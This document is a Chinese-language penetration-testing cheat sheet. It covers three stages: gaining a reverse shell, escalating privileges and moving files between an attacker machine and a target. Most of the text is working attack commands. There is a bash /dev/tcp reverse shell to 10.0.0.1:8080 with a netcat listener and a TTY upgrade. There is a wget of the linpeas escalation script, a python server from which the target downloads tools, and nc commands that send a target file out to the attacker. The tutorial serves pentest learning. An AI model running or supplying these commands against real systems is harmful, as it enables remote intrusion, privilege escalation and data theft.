一、反弹Shell
渗透测试中,如果发现命令执行漏洞,通常会希望获得一个交互式 shell。如果无法添加新账户、SSH 密钥或 .rhosts
文件来直接登录,下一步通常是尝试建立反向 shell 或绑定 shell 到一个 TCP 端口。
创建反向 shell 的方法取决于目标系统上安装的脚本语言,也可以上传一个二进制程序来执行。以下是通过 Bash 建立反弹Shell 的步骤,其他脚本语言可以参考pentestmonkey-cheatsheets/shells.md at master · acole76/pentestmonkey-cheatsheets.
1. 在攻击机上上监听端口
nc -lvnp 8080
参数解释:
-l
:监听模式。-v
:详细模式,显示连接信息。-n
:直接使用 IP 地址,不做 DNS 解析。-p 8080
:监听的端口为8080
。
2. 在靶机上建立反弹Shell
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
此命令在靶机上将一个 shell 会话的输入和输出重定向到指定的 IP 地址和端口来建立连接,如这里的 10.0.0.1 地址,8080 端口。
在某些情况下,bash
环境可能受到限制,导致直接执行反弹 shell 命令无法成功。为提高兼容性,可以尝试使用以下更通用的方式:
bash -c "bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"
然后回到攻击机的监听 Shell,可以看到已经连接,注意此时需要使用 exit
退出。
3. 交互式反弹Shell
上面步骤获取的Shell交互性并不强,并且 Ctrl+C 会在反弹 Shell 命令未终止的情况下退出 Shell ,如果靶机上安装有python,可通过以下步骤简单升级 Shell。注意攻击机的 Shell 需要是 bash
,而不是 zsh
。
python -c 'import pty;pty.spawn("/bin/bash");'
CTRL + Z
stty raw -echo;fg
export TERM=xterm
此时的shell就可以使用方向键和vim、top等命令,Ctrl+C 也不会断开了。
二、权限提升
通常情况下,入侵靶机后,攻击者将会得到一个权限较低的 Shell,此时可以执行的操作常常受到限制。因此,我们需要权限提升(Privilege Escalation),简称提权。借助以下提权脚本,这项任务将变得更加容易。
linpeas
下载linpeas脚本:
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
三、文件传输
在创建反弹 Shell 之后,靶机的环境往往不足以我们进行攻击,此时便需要两机之间的文件传输。
1. 靶机下载文件
先在攻击机上目标文件的目录建立 web 服务(以python为例)
python -m http.server 8000
然后再靶机上使用 wget
下载,如下载 linpeas.sh
脚本
wget http://10.0.0.1:8000/linpeas.sh
2. 靶机上传文件
攻击机上将接收到的数据重定向并写入 target.file
文件。
nc -nvlp 4444 > target.file
靶机从本地文件 target.file
中读取数据,并重定向至接收方。
nc 10.0.2.4 4444 < target.file